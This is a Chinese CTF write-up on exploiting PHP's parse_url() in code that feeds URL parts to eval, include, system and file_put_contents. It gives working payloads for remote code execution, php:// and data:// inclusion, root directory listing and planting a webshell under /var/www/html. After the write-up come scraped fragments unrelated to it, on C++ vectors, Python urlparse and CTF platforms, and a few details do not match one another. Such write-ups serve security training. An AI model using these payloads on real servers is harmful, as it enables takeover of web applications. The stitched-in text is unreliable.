本文章例题来源于 CTFshow每周大挑战 ,文中若有错误还请指出

什么是PARSE_URL函数?

parse_url() 是 PHP 内置函数之一,用于解析 URL 字符串,将其拆分为不同的组成部分,可以获取协议、主机名、端口号、路径、查询参数等信息。

parse_url ( string $url [, int $component = -1 ] )
$url = 'http://user:pass@host/path?args=value#anch';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
Array
    [scheme] => http
    [host] => host
    [user] => user
    [pass] => pass
    [path] => /path
    [query] => args=value
    [fragment] => anch
$data = parse_url($_GET['u']);
eval($data['host']);

分析可得,该代码将parse_url函数处理结果传递给 data数组,并将URL中的host部分作为php代码执行

这里说一下为什么不能直接在host部分直接传入 system('ls /') 等带“/”的payload,因为该函数默认把 host部分 / 后面的字符串识别为PATH部分,这样我们传入的host部分只为 system('ls 因而无法被正确执行

payload1:

?u=http://eval($_POST[w]);

POST传参进行命令执行即可

payload2:

?u=http://system(‘cd … ; cd … ; cd … ; ls’);/
" ; " 为命令连接符用于一条语句执行多个命令

这里使用 cd…逐级跳转目录,巧妙地替代了符号 /(直接遍历根目录),但是cd的正确层级需要慢慢尝试

$data = parse_url($_GET['u']); include $data['host'].$data['path'];

分析可得该代码会使用 include 函数包含 我们所传入URL的host及 path部分

payload1:

?u=http:php://input
POST传参
<?php system('ls /'); ?>

这里利用到了该函数的一个特性:

当我们输入?u=http:php://这样的格式时,path为php://
parse_url函数会把http:后面的部分全部识别为path,host部分为空

payload2:

?u=http://data:: //text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
#host=data:
#path=//text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

这里使用的data://伪协议进行传参

解释一下为什么data后面会有两个冒号,该函数会默认最后一个冒号后面是端口port,如果只有一个冒号的话,我们所传入的host部分为data,其中的冒号被当做端口部分,所以加一个绕过

$data = parse_url($_GET['u']); include $data['scheme'].$data['path'];

分析可得该代码会使用include函数包含我们所传入URL的 scheme及path部分

payload1:

GET传参
?u==php:://input
POST传参
<?php system('ls /'); ?>
#scheme(传输协议)=php
#path=://input

这里和第二关的payload1原理相似,该函数会把scheme(传输协议)后的第一个冒号后的内容识别为path
例如:

当我们输入?u=http:://good 时,
path是 “://good”
scheme是 “http”
拼接在一起就是“http://123”。
我们要使用php://input伪协议,只需将http改为php,将://good改为://input即可

payload2:

 ?u=data:://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgL19mMWFfZ18xc19oM3JlIik7Pz4=

与payload1原理一样,只是把 php://input 伪协议换为了 data://

$data = parse_url($_GET['u']); system($data['host']);

分析可得该代码会将URL的host部分当做系统命令执行

payload1:

?u=http://cd ..;cd ..;cd ..;ls

与第一关的payload2原理一样,都是使用的cd逐级跳转目录

extract(parse_url($_GET['u'])); include $$$$$$host;

关于extrac函数可以参考我的这篇文章

这道题本质就是利用URL的各组成部分进行变量套娃

payload1:

GET传参
?u=user://pass:fragment@scheme/?php://input%23query
注:%23#的url编码,如果不写%23直接写#,#后的内容会被浏览器直接过滤掉。
POST传参
<?php system('ls /');?>
这样的话:
$host=scheme
$$host=$scheme=user
$$$host=$user=pass
$$$$host=$pass=fragment
$$$$$host=$fragment=query
$$$$$$host=$query=php://input
$data = parse_url($_GET['u']);
file_put_contents($data['path'], $data['host']);

分析代码可得 可以用file_put_contents函数,往path代表的文件里写入host代表的内容,如果文件不存在的话,会自动创建文件,我们可以借此getshell或者传入system命令

payload1:

?u=http://<script language='php'>phpinfo();/var/www/html/a.php
#$data['host']=<script language='php'>eval($_GET[1]);;
#$data['path']=/var/www/html/a.php
然后访问a.php
url/a.php?1=system('ls /');
 

这里解释下为什么PHP代码要用<script>标签表示
由于?后面会被解析成query,所以需要更换php标签,这里用的js,由于path中一定会有/,所以选择绝对路径上传,这里路径猜测默认路径
绝大多数CTF赛题的web路径都为 /var/www/htm

payload2:

getshell方法

?u=//<script language="php"> eval($_POST['1']);/var/www/html/1.php

密码为1,蚁剑连接即可

PHP 解析 URL函数: parse_url详解 parse_url — 解析 URL,返回其组成部分 说明 array parse_url ( string $url ) 本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。 本函数不是用来验证给定 URL 的合法性的,只是将其分解为下面列出的部分。不完整的 URL 也被接受,parse_url() 会尝试尽量正确地将其解析。 参数 url 要解析的 URL 返回值 对严重不合格的 URLparse_url() 可能会返回 FALSE 并发出 E_WARNING。否则会返回一个关联数组,其组成部分为(至少有一
parse_url函数 作用:parse_url — 解析 URL,返回其组成部分 mixed parse_url ( string $url [, int $component = -1 ] ) 本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。 url:要解析的 URL。无效字符将使用 _ 来替换。 component: 指定 PHP_URL_SCHEM...
vector是C++标准模版库(STL,Standard Template Library)中的部分内容。之所以认为是一个容器,是因为它能够像容器一样存放各种类型的对象,简单的说:vector是一个能够存放任意类型的动态数组,能够增加和压缩数据。 使用vector容器之前必须加上头文件:#include; vector属于std命名域的内容,因此需要通过命名限定:using std::vector;也可以直接使用全局的命名空间方式:using namespace std; vector成员函数 c.push_back(elem)在尾部插入一个elem数据。 import urlparse url = "//www.jb51.net" domain = urlparse.urlsplit(url)[1].split(':')[0] print "The domain name of the url is: ", domain 输出结果如下: The domain name of the url is: www.jb51.net 希望本文所述对大家的Python程序设计有所帮助。 基于Django框架开发,同时kvm虚拟化和SDN技术的使用带给了使用者强大的靶机攻防体验。开发目的即一款优秀的专用于比赛的CTF平台,它丰富的比赛内容,灵活的比赛模式以及各项人性化的功能模块满足了比赛举办者的所有要求。然而,同时并不局限于比赛的用途,使用者同样可以用来练习CTF解题和靶机攻防。 python3.6 + Django 2.1.7 + 10.3.9-MariaDB or Mysql-8.0 + REST Framework 3.9.2 + xadmin + Celery + Vue 基于ubuntu 18 LTS版本 安装mysql、redis 并在setting.py中配置连接信息 创建虚拟环境基于python3.6 安装requirements.txt中的依赖包,如果报下面的错误 OSError: mysql_config not found $Url='http://www.yidawang.net/index.html'; $tempu=parse_url($Url); print_r($tempu);die; 打印的结果为:Array( [scheme]
$url1 = "/baidu.com:80a"; $url2 = "//pupiles.com/about:1234"; $url3 = "//baidu.com:80a"; var_dump(parse_url($url)); var_dump(parse_url($url1)); var_dump(parse_url($url2)); var_dump(parse_url($url3)); 执行以上代码:,将得到下面的结果
CTF(Capture The Flag)即夺旗赛,是一种网络安全竞赛形式。AWD(Attack-Defense)平台是一种特殊的CTF比赛平台,主要专注于攻击和防御的技能训练与比拼。 ctf_awd_platform是指一种特定的AWD平台,其目的是为了提供一个安全的环境,让参赛选手能够在其中进行攻击和防御的实战训练。 在ctf_awd_platform中,参赛选手将分为多个小队,每个小队都需要同时进行攻击和防御。比赛的过程中,参赛选手需要使用各种技术和工具,对其他小队的系统进行攻击,尝试获取对方的旗帜。同时,参赛选手也需要保护自己的系统,防止其他小队进行攻击并窃取自己的旗帜。 ctf_awd_platform提供了一个仿真的网络环境,模拟了现实世界中的网络系统。参赛选手可以在这个环境中进行攻防实战,通过解决各种网络安全问题来提升自己的技能。 ctf_awd_platform不仅能够帮助参赛选手提升网络攻防技术,还能够提高其团队合作能力和解决问题的能力。在比赛中,参赛选手需要与队友紧密配合,共同制定攻击和防御策略,以获取最佳的比赛成绩。 总体而言,ctf_awd_platform是一个能够帮助参赛选手提升网络安全技术和团队合作能力的AWD平台,通过实战演练来提高参赛选手的技能水平,并为他们在网络安全领域的职业发展打下坚实的基础。